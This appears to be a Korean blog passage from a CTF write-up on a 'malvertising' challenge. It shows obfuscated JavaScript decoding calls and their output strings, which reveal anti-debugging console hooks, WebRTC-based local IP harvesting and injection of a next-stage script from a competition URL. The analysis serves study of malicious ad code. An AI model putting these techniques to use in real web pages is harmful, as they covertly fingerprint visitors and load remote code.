document.write(_0x5877('0x5b', '^9I*')+"</br>");
document.write(_0x5877('0x5c', 'tP$Y')+"</br>");
document.write(_0x5877('0x5e', 'c0*A')+"</br>");
document.write(_0x5877('0x5f', 'dC5K')+"</br>");
document.write(_0x5877('0x60', 'E7O$')+"</br>");
document.write(_0x5877('0x62', 'tP$Y')+"</br>");
document.write(_0x5877('0x63', 'xf2^')+"</br>");
document.write(_0x5877('0x64', '#U@!')+"</br>");
document.write(_0x5877('0x65', 'rtMl')+"</br>");
document.write(_0x5877('0x67', 'L]47')+"</br>");
document.write(_0x5877('0x68', 'c0*A')+"</br>");
document.write(_0x5877('0x6a', '8YCV')+"</br>");
document.write(_0x5877('0x6b', '^9I*')+"</br>");
document.write(_0x5877('0x6c', 'E7P9')+"</br>");
document.write(_0x5877('0x1', 'cw[y')+"</br>");
document.write(_0x5877('0x6d', 'ZE[y')+"</br>");
document.write(_0x5877('0x6f', 'Z9jA')+"</br>");
document.write(_0x5877('0x70', 'tP$Y')+"</br>");
document.write(_0x5877('0x72', '1#e@')+"</br>");
document.write(_0x5877('0x73', 'R2OT')+"</br>");
document.write(_0x5877('0x75', 'uIgh')+"</br>");
document.write(_0x5877('0x79', 'ZE[y')+"</br>");
document.write(_0x5877('0x7b', 'E7O$')+"</br>");
document.write(_0x5877('0x7d', 'F(E#')+"</br>");
document.write(_0x5877('0x7e', '1#e@')+"</br>");
document.write(_0x5877('0x7f', '*bx^')+"</br>");
document.write(_0x5877('0x81', 'F(E#')+"</br>");
document.write(_0x5877('0x82', 'tP$Y')+"</br>");
document.write(_0x5877('0x84', 'aLUv')+"</br>");
document.write(_0x5877('0x85', 'iOa(')+"</br>");
document.write(_0x5877('0x87', 'w(zO')+"</br>");
document.write(_0x5877('0x88', 'jEx@')+"</br>");
document.write(_0x5877('0x89', 'E7O$')+"</br>");

</script>
</body>
</html>

출력 코드

더보기

csEBi
apply
NvaHu
NvaHu
function *\( *\)
\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))
init
chain
test
AoQjk
kZkLc
AQXEx
AQXEx
contentWindow
webkitRTCPeerConnection
webkitRTCPeerConnection
vwikV
vwikV
rOYLB
tllVd
src
./src/WFmJWvYBQmZnedwpdQBU.js
head
appendChild
apply
Yisfc
Yisfc
return (function()
lIXPA
ZmAot
console
log
warn
info
error
exception
trace
console
syTtV
console
uEPrs
UgYJt
apply
debug
error
exception
trace
apply
vFobe
OqtZs
log
console
warn
console
debug
info
console
console
exception
console
trace
candidate
candidate
RTCPeerConnection
webkitRTCPeerConnection
webkitRTCPeerConnection
contentWindow
RTCPeerConnection
webkitRTCPeerConnection
webkitRTCPeerConnection
optional
kbZPQ
exec
match
kCfVf
createElement
setAttribute
./src/WFmJWvYBQmZnedwpdQBU.js
head
appendChild
candidate
candidate
createDataChannel
createOffer
setLocalDescription
localDescription
split
forEach
indexOf
MVtUK
string
constructor
apply
HvOJq
length
HYLef
zsZxB
RwDrN
apply
gger
action
return (function()
constructor
debu
apply
counter
debu
apply
stateObject
aZqGm
match
createElement
setAttribute
src
appendChild
PYyVn
XVaYV

출력물

./src/WFmJWvYBQmZnedwpdQBU.js

https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js

'리버싱!' 카테고리의 다른 글

방독면책-어셈블리2  (0) 2020.01.06
방독면책-어셈블리  (0) 2020.01.06
reversing.kr-Easy_Keygen  (0) 2019.07.17
reversing.kr-Easy Crack  (0) 2019.07.03
codegate2019-the matrix  (0) 2019.02.01